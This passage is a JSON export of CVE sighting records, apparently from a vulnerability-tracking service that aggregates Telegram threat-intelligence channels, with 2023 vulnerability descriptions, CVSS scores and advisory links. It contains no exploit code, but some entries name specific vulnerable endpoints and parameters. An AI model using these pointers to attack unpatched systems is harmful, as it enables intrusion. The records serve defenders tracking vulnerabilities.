is related to specific configurations that are not part of the default application setup. In standard production environments, the relevant feature (VIEWSTATE) is disabled by default, which effectively mitigates the risk of exploitation.\"\n\ud83d\udccf Published: 2023-09-01T18:31:04.891Z\n\ud83d\udccf Modified: 2025-05-27T06:18:11.588Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.238572\n2. https://vuldb.com/?ctiid.238572\n3. https://vuldb.com/?submit.196885\n4. https://tdn.totvs.com/pages/releaseview.action?pageId=284462425#COMOAUMENTARASEGURAN%C3%87ADESUAAPLICA%C3%87%C3%83O-Reduziron%C3%ADveldedetalhamentodemensagensexibidasparaousu%C3%A1rio", "creation_timestamp": "2025-05-27T06:48:30.000000Z"}, {"uuid": "d37677bc-6133-4535-9ae9-f2ef7d924ae5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47050", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/17892", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-47050\n\ud83d\udd25 CVSS Score: 5.5 (cvssV3_1, Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N)\n\ud83d\udd39 Description: Adobe Audition version 24.0 (and earlier) and 23.6.1 (and earlier) are affected by an out-of-bounds read vulnerability when parsing a crafted file, which could result in a read past the end of an allocated memory structure. An attacker could leverage this vulnerability to execute code in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\ud83d\udccf Published: 2023-11-16T15:39:34.600Z\n\ud83d\udccf Modified: 2025-06-10T13:57:33.439Z\n\ud83d\udd17 References:\n1. https://helpx.adobe.com/security/products/audition/apsb23-64.html", "creation_timestamp": "2025-06-10T14:30:34.000000Z"}, {"uuid": "36a99c10-645a-45e8-9a7b-1fd98a73bb2b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47132", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/18102", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-47132\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: An issue discovered in N-able N-central before 2023.6 and earlier allows attackers to gain escalated privileges via API calls.\n\ud83d\udccf Published: 2024-02-08T00:00:00.000Z\n\ud83d\udccf Modified: 2025-06-11T17:06:42.163Z\n\ud83d\udd17 References:\n1. https://me.n-able.com/s/security-advisory/aArHs000000M8CHKA0/cve202347132-ncentral-api-privilege-escalation", "creation_timestamp": "2025-06-11T17:34:30.000000Z"}, {"uuid": "206adef1-682f-4744-8f29-9d4bc434d6e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47335", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/18071", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-47335\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Insecure permissions in the setNFZEnable function of Autel Robotics EVO Nano drone v1.6.5 allows attackers to breach the geo-fence and fly into no-fly zones.\n\ud83d\udccf Published: 2023-11-16T00:00:00.000Z\n\ud83d\udccf Modified: 2025-06-11T14:14:41.889Z\n\ud83d\udd17 References:\n1. https://github.com/czbxzm/AUTEL-smart-drones-have-a-vulnerability-to-unauthorised-breaches-of-no-fly-zone", "creation_timestamp": "2025-06-11T14:31:22.000000Z"}, {"uuid": "90f636d7-9f44-4988-8c1c-987727a28b23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47674", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/18072", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-47674\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Missing authentication for critical function vulnerability in First Corporation's DVRs allows a remote unauthenticated attacker to rewrite or obtain the configuration information of the affected device. Note that updates are provided only for Late model of CFR-4EABC, CFR-4EAB, CFR-8EAB, CFR-16EAB, MD-404AB, and MD-808AB. As for the other products, apply the workaround.\n\ud83d\udccf Published: 2023-11-16T07:28:38.522Z\n\ud83d\udccf Modified: 2025-06-11T14:12:04.230Z\n\ud83d\udd17 References:\n1. https://www.c-first.co.jp/information/ddososhirase/\n2. https://www.c-first.co.jp/wp/wp-content/uploads/2023/11/tuushin.pdf\n3. https://jvn.jp/en/vu/JVNVU99077347/", "creation_timestamp": "2025-06-11T14:31:23.000000Z"}, {"uuid": "49ee7ae0-5537-4d88-884b-4cf5d2000633", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47253", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/18212", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-47253\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Qualitor through 8.20 allows remote attackers to execute arbitrary code via PHP code in the html/ad/adpesquisasql/request/processVariavel.php gridValoresPopHidden parameter.\n\ud83d\udccf Published: 2023-11-06T00:00:00.000Z\n\ud83d\udccf Modified: 2025-06-12T16:38:22.382Z\n\ud83d\udd17 References:\n1. https://www.linkedin.com/in/xvinicius/\n2. https://www.linkedin.com/in/hairrison-wenning-4631a4124/\n3. https://www.qualitor.com.br/qualitor-8-20\n4. https://openxp.xpsec.co/blog/cve-2023-47253\n5. https://www.qualitor.com.br/official-security-advisory-cve-2023-47253", "creation_timestamp": "2025-06-12T17:35:15.000000Z"}, {"uuid": "1f080b36-199c-4144-8a4c-5bc3f90dc4c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47198", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/18326", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-47198\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: An origin validation vulnerability in the Trend Micro Apex One security agent could allow a local attacker to escalate privileges on affected installations.\n\nPlease note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.\n\nThis vulnerability is similar to, but not identical to, CVE-2023-47199.\n\ud83d\udccf Published: 2024-01-23T20:37:56.639Z\n\ud83d\udccf Modified: 2025-06-13T19:08:30.949Z\n\ud83d\udd17 References:\n1. https://success.trendmicro.com/dcx/s/solution/000295652?language=en_US\n2. https://www.zerodayinitiative.com/advisories/ZDI-23-1619/", "creation_timestamp": "2025-06-13T19:34:57.000000Z"}, {"uuid": "50d34914-bd5a-4f3a-8ac4-fb489e96abe2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47199", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/18326", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-47198\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: An origin validation vulnerability in the Trend Micro Apex One security agent could allow a local attacker to escalate privileges on affected installations.\n\nPlease note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.\n\nThis vulnerability is similar to, but not identical to, CVE-2023-47199.\n\ud83d\udccf Published: 2024-01-23T20:37:56.639Z\n\ud83d\udccf Modified: 2025-06-13T19:08:30.949Z\n\ud83d\udd17 References:\n1. https://success.trendmicro.com/dcx/s/solution/000295652?language=en_US\n2. https://www.zerodayinitiative.com/advisories/ZDI-23-1619/", "creation_timestamp": "2025-06-13T19:34:57.000000Z"}, {"uuid": "fb00e2fe-1dda-4ce6-837c-c43bb041b93f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47192", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/18615", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-47192\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: An agent link vulnerability in the Trend Micro Apex One security agent could allow a local attacker to escalate privileges on affected installations.\n\nPlease note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.\n\ud83d\udccf Published: 2024-01-23T20:36:34.790Z\n\ud83d\udccf Modified: 2025-06-17T16:13:44.095Z\n\ud83d\udd17 References:\n1. https://success.trendmicro.com/dcx/s/solution/000295652?language=en_US\n2. https://www.zerodayinitiative.com/advisories/ZDI-23-1611/", "creation_timestamp": "2025-06-17T16:41:06.000000Z"}, {"uuid": "58880a70-5f09-436d-91fb-4085a465e99b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47202", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/18614", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-47202\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: A local file inclusion vulnerability on the Trend Micro Apex One management server could allow a local attacker to escalate privileges on affected installations.\n\nPlease note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.\n\ud83d\udccf Published: 2024-01-23T20:38:51.693Z\n\ud83d\udccf Modified: 2025-06-17T16:14:47.687Z\n\ud83d\udd17 References:\n1. https://success.trendmicro.com/dcx/s/solution/000295652?language=en_US\n2. https://www.zerodayinitiative.com/advisories/ZDI-23-1621/", "creation_timestamp": "2025-06-17T16:41:05.000000Z"}, {"uuid": "584d2f71-8cc2-41e7-84d8-b194dbefc170", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47022", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/18613", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-47022\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Insecure Direct Object Reference in NCR Terminal Handler v.1.5.1 allows an unprivileged user to edit the audit logs for any user and can lead to CSV injection.\n\ud83d\udccf Published: 2024-02-06T00:00:00.000Z\n\ud83d\udccf Modified: 2025-06-17T16:15:54.602Z\n\ud83d\udd17 References:\n1. https://github.com/Patrick0x41/Security-Advisories/tree/main/CVE-2023-47022", "creation_timestamp": "2025-06-17T16:41:04.000000Z"}, {"uuid": "c82e223d-a103-4433-a92a-0f67eb62e9e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47256", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/18612", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-47256\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: ConnectWise ScreenConnect through 23.8.4 allows local users to connect to arbitrary relay servers via implicit trust of proxy settings\n\ud83d\udccf Published: 2024-02-01T00:00:00.000Z\n\ud83d\udccf Modified: 2025-06-17T16:16:50.199Z\n\ud83d\udd17 References:\n1. https://www.connectwise.com/company/trust/security-bulletins/connectwise-screenconnect-23.8-security-fix\n2. https://web.archive.org/web/20240208140218/https://gotham-security.com/screenconnect-cve-2023-47256", "creation_timestamp": "2025-06-17T16:41:03.000000Z"}, {"uuid": "5c27c9c6-5c87-45cb-a051-30c993ffa2c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47889", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/19078", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-47889\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The Android application BINHDRM26 com.bdrm.superreboot 1.0.3, exposes several critical actions through its exported broadcast receivers. These exposed actions can allow any app on the device to send unauthorized broadcasts, leading to unintended consequences. The vulnerability is particularly concerning because these actions include powering off, system reboot & entering recovery mode.\n\ud83d\udccf Published: 2024-02-06T00:00:00.000Z\n\ud83d\udccf Modified: 2025-06-20T20:12:47.017Z\n\ud83d\udd17 References:\n1. https://github.com/actuator/com.bdrm.superreboot/blob/main/CWE-925.md", "creation_timestamp": "2025-06-20T20:44:21.000000Z"}, {"uuid": "a67f27a6-8953-41aa-ada3-db086f3a4d99", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47298", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/19205", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-47298\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: An issue in NCR Terminal Handler 1.5.1 allows a low-level privileged authenticated attacker to query the SOAP API endpoint to obtain information about all of the users of the application including their usernames, roles, security groups and account statuses.\n\ud83d\udccf Published: 2025-06-23T00:00:00.000Z\n\ud83d\udccf Modified: 2025-06-23T14:32:34.020Z\n\ud83d\udd17 References:\n1. https://drive.google.com/file/d/1-BDd0ycuYhuxo-lg4th-Cswimoqqzkot/view?usp=sharing\n2. https://github.com/pwahba/cve-research/blob/main/CVE-2023-47298/CVE-2023-47298.md", "creation_timestamp": "2025-06-23T14:45:27.000000Z"}, {"uuid": "0be0290e-c884-418f-94cb-d76a907b68c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4761", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/19458", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-4761\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Out of bounds memory access in FedCM in Google Chrome prior to 116.0.5845.179 allowed a remote attacker who had compromised the renderer process to perform an out of bounds memory read via a crafted HTML page. (Chromium security severity: High)\n\ud83d\udccf Published: 2023-09-05T21:57:42.150Z\n\ud83d\udccf Modified: 2025-06-25T14:24:59.245Z\n\ud83d\udd17 References:\n1. https://chromereleases.googleblog.com/2023/09/stable-channel-update-for-desktop.html\n2. https://crbug.com/1476403\n3. https://www.debian.org/security/2023/dsa-5491\n4. https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/27NR3KG553CG6LGPMP6SHWEVHTYPL6RC/\n5. https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/6T655QF7CQ3DYAMPFV7IECQYGDEUIVVT/\n6. https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/KUQ7CTX3W372X3UY56VVNAHCH6H2F4X3/\n7. https://security.gentoo.org/glsa/202311-11\n8. https://security.gentoo.org/glsa/202312-07\n9. https://security.gentoo.org/glsa/202401-34", "creation_timestamp": "2025-06-25T14:51:27.000000Z"}, {"uuid": "c59abfde-c225-4342-9b53-64046ce35989", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4702", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/19443", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-4702\n\ud83d\udd25 CVSS Score: 9.8 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: Authentication Bypass Using an Alternate Path or Channel vulnerability in Yepas Digital Yepas allows Authentication Bypass.This issue affects Digital Yepas: before 1.0.1.\n\n\n\ud83d\udccf Published: 2023-09-14T19:01:26.533Z\n\ud83d\udccf Modified: 2025-06-25T13:28:24.508Z\n\ud83d\udd17 References:\n1. https://www.usom.gov.tr/bildirim/tr-23-0526", "creation_timestamp": "2025-06-25T13:50:54.000000Z"}, {"uuid": "fa4b5d19-9f38-43f9-8c31-60cbc150a3a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4738", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/19447", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-4738\n\ud83d\udd25 CVSS Score: 7.8 (cvssV3_0, Vector: CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: Heap-based Buffer Overflow in GitHub repository vim/vim prior to 9.0.1848.\n\ud83d\udccf Published: 2023-09-02T19:39:14.290Z\n\ud83d\udccf Modified: 2025-06-25T14:32:31.999Z\n\ud83d\udd17 References:\n1. https://huntr.dev/bounties/9fc7dced-a7bb-4479-9718-f956df20f612\n2. https://github.com/vim/vim/commit/ced2c7394aafdc90fb7845e09b3a3fee23d48cb1\n3. https://support.apple.com/kb/HT213984\n4. http://seclists.org/fulldisclosure/2023/Oct/24", "creation_timestamp": "2025-06-25T14:51:10.000000Z"}, {"uuid": "1ccfe1fe-a0d2-4732-81af-aa26519e0d13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4740", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/19453", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-4740\n\ud83d\udd25 CVSS Score: 6.3 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L)\n\ud83d\udd39 Description: A vulnerability, which was classified as critical, was found in IBOS OA 4.5.5. This affects an unknown part of the file ?r=email/api/delDraft&archiveId=0 of the component Delete Draft Handler. The manipulation leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-238629 was assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.\n\ud83d\udccf Published: 2023-09-03T20:00:05.762Z\n\ud83d\udccf Modified: 2025-06-25T14:27:40.566Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.238629\n2. https://vuldb.com/?ctiid.238629\n3. https://github.com/RCEraser/cve/blob/main/sql_inject.md", "creation_timestamp": "2025-06-25T14:51:19.000000Z"}, {"uuid": "127a4970-ade0-46f8-9239-f8ae5f9aff8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47310", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/19971", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-47310\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: A misconfiguration in the default settings of MikroTik RouterOS 7 and fixed in v7.14 allows incoming IPv6 UDP traceroute packets.\n\ud83d\udccf Published: 2025-06-30T00:00:00.000Z\n\ud83d\udccf Modified: 2025-06-30T19:46:26.613Z\n\ud83d\udd17 References:\n1. http://mikrotik.com\n2. http://routeros.com\n3. https://forum.mikrotik.com/t/fixed-in-7-14-security-vulnerability-default-configuration-firewall-bypass-for-ipv6-udp/262186", "creation_timestamp": "2025-06-30T20:08:49.000000Z"}, {"uuid": "7965cee6-e22d-4872-a1bb-2a6be79f5dea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47246", "type": "exploited", "source": "https://t.me/Cyber_Watch_insider/190", "content": "Microsoft has discovered exploitation of a 0-day vulnerability in the SysAid IT support software in limited attacks by Lace Tempest, a threat actor that distributes Clop ransomware. Microsoft notified SysAid about the issue (CVE-2023-47246), which they immediately patched.", "creation_timestamp": "2023-11-09T17:17:30.000000Z"}, {"uuid": "3e1b04c4-8a4d-43bb-a47a-641be085d357", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47444", "type": "published-proof-of-concept", "source": "https://t.me/TopCyberTechNews/402", "content": "Top Security News for 15/11/2023\n\nUrgent: VMware Warns of Unpatched Critical Cloud Director Vulnerability\nhttps://thehackernews.com/2023/11/urgent-vmware-warns-of-unpatched.html \n\nAdvanced threat predictions for 2024\nhttps://securelist.com/kaspersky-security-bulletin-apt-predictions-2024/111048/ \n\nStatic Code Injections in OpenCart (CVE-2023-47444)\nhttps://www.reddit.com/r/netsec/comments/17vfo5a/static_code_injections_in_opencart_cve202347444/ \n\nWrong: \u201cYou Can\u2019t Protect What You Don\u2019t Know\u201d\nhttps://dale-peterson.com/2023/11/14/wrong-you-cant-protect-what-you-dont-know/ \n\nNEW 'Off The Wall' ONLINE\nhttps://www.2600.com/wall/14-11-2023 \n\nThe cyber underworld is getting a bit faster and a lot looser, and the gangs may be drawing some unwelcome attention.\nhttps://thecyberwire.com/podcasts/daily-podcast/1947/notes \n\nIntroducing Bambdas\nhttps://portswigger.net/blog/introducing-bambdas \n\nSecurity Alert: Microsoft Releases November 2023 Security Updates\nhttps://malware.news/t/security-alert-microsoft-releases-november-2023-security-updates/75675#post_1 \n\nISC Stormcast For Wednesday, November 15th, 2023 https://isc.sans.edu/podcastdetail/8746, (Wed, Nov 15th)\nhttps://malware.news/t/isc-stormcast-for-wednesday-november-15th-2023-https-isc-sans-edu-podcastdetail-8746-wed-nov-15th/75677#post_1 \n\nSecurity Alert: Alert Regarding Vulnerability in Adobe Acrobat and Reader (APSB23-54)\nhttps://malware.news/t/security-alert-alert-regarding-vulnerability-in-adobe-acrobat-and-reader-apsb23-54/75674#post_1 \n\n    \nFollow Top Cyber News at https://t.me/TopCyberTechNews\nFeel free to DM me at https://twitter.com/ShayaFeedman", "creation_timestamp": "2023-11-15T08:00:07.000000Z"}, {"uuid": "5ff5e7ad-6386-4072-9204-b0aa8e6a01e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47246", "type": "exploited", "source": "https://t.me/hackyourmom/6009", "content": "CISA \u0434\u043e\u0434\u0430\u043b\u0430 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0456 Juniper \u0434\u043e \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0443 \u0435\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u043e\u0432\u0430\u043d\u0438\u0445 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439.\n\n\u0410\u043c\u0435\u0440\u0438\u043a\u0430\u043d\u0441\u044c\u043a\u0435 \u0430\u0433\u0435\u043d\u0442\u0441\u0442\u0432\u043e \u0437 \u043a\u0456\u0431\u0435\u0440\u0431\u0435\u0437\u043f\u0435\u043a\u0438 \u0442\u0430 \u0431\u0435\u0437\u043f\u0435\u043a\u0438 \u0456\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0438 (CISA) \u0432\u043a\u043b\u044e\u0447\u0438\u043b\u043e \u0434\u043e \u0441\u0432\u043e\u0433\u043e \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0443 KEV \u0448\u0456\u0441\u0442\u044c \u043d\u043e\u0432\u0438\u0445 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439, \u0437 \u044f\u043a\u0438\u0445 \u043f'\u044f\u0442\u044c \u0441\u0442\u043e\u0441\u0443\u044e\u0442\u044c\u0441\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0456\u0439\u043d\u043e\u0457 \u0441\u0438\u0441\u0442\u0435\u043c\u0438 Juniper Junos OS, \u0430 \u043e\u0434\u043d\u0430 - \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043d\u043e\u0433\u043e \u0437\u0430\u0431\u0435\u0437\u043f\u0435\u0447\u0435\u043d\u043d\u044f \u0434\u043b\u044f \u0406\u0422-\u043f\u0456\u0434\u0442\u0440\u0438\u043c\u043a\u0438 \u043f\u0456\u0434 \u043d\u0430\u0437\u0432\u043e\u044e SysAid.\n\n\u0421\u0435\u0440\u0435\u0434 \u0434\u043e\u0434\u0430\u043d\u0438\u0445 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439:\nCVE-2023-36844, CVE-2023-36845, CVE-2023-36846, CVE-2023-36847, CVE-2023-36851: \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0456 \u0432 Juniper Junos OS \u0441\u0435\u0440\u0456\u0439 EX \u0456 SRX, \u043f\u043e\u0432'\u044f\u0437\u0430\u043d\u0456 \u0437 \u043d\u0435\u0434\u043e\u043b\u0456\u043a\u0430\u043c\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0456\u043a\u0430\u0446\u0456\u0457 \u0442\u0430 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u044f\u043c\u0438 \u0432 PHP.\nCVE-2023-47246: \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u0456\u0441\u0442\u044c \u0443 \u0441\u0435\u0440\u0432\u0435\u0440\u0456 SysAid, \u043f\u043e\u0432'\u044f\u0437\u0430\u043d\u0430 \u0437 \u043e\u0431\u0445\u0456\u0434\u043e\u043c \u0448\u043b\u044f\u0445\u0443.\n\n\u0417\u0430 \u0456\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0456\u0454\u044e Juniper SIRT, \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0456 \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0456 J-Web \u043c\u043e\u0436\u0443\u0442\u044c \u0431\u0443\u0442\u0438 \u0432\u0438\u043a\u043e\u0440\u0438\u0441\u0442\u0430\u043d\u0456 \u0434\u043b\u044f \u0432\u0438\u043a\u043e\u043d\u0430\u043d\u043d\u044f \u0432\u0456\u0434\u0434\u0430\u043b\u0435\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0443 \u0431\u0435\u0437 \u043f\u043e\u043f\u0435\u0440\u0435\u0434\u043d\u044c\u043e\u0457 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0456\u043a\u0430\u0446\u0456\u0457. \u041a\u043e\u043c\u043f\u0430\u043d\u0456\u044f \u043f\u0456\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0430, \u0449\u043e \u0437\u043b\u043e\u0432\u043c\u0438\u0441\u043d\u0438\u043a\u0438 \u0432\u0438\u043a\u043e\u0440\u0438\u0441\u0442\u043e\u0432\u0443\u044e\u0442\u044c \u0446\u0456 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0456 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u0438\u0445 \u0430\u0442\u0430\u043a\u0430\u0445.\n\nCISA \u0432\u0438\u043c\u0430\u0433\u0430\u0454 \u0432\u0456\u0434 \u0444\u0435\u0434\u0435\u0440\u0430\u043b\u044c\u043d\u0438\u0445 \u0430\u0433\u0435\u043d\u0442\u0441\u0442\u0432 \u0443\u0441\u0443\u043d\u0443\u0442\u0438 \u0432\u0438\u044f\u0432\u043b\u0435\u043d\u0456 \u043d\u0435\u0434\u043e\u043b\u0456\u043a\u0438 \u0431\u0435\u0437\u043f\u0435\u043a\u0438 Juniper \u0434\u043e 17 \u043b\u0438\u0441\u0442\u043e\u043f\u0430\u0434\u0430 2023 \u0440\u043e\u043a\u0443, \u0430 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u0456\u0441\u0442\u044c \u0441\u0435\u0440\u0432\u0435\u0440\u0430 SysAid - \u0434\u043e 4 \u0433\u0440\u0443\u0434\u043d\u044f 2023 \u0440\u043e\u043a\u0443.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0456\u044f Juniper \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0454 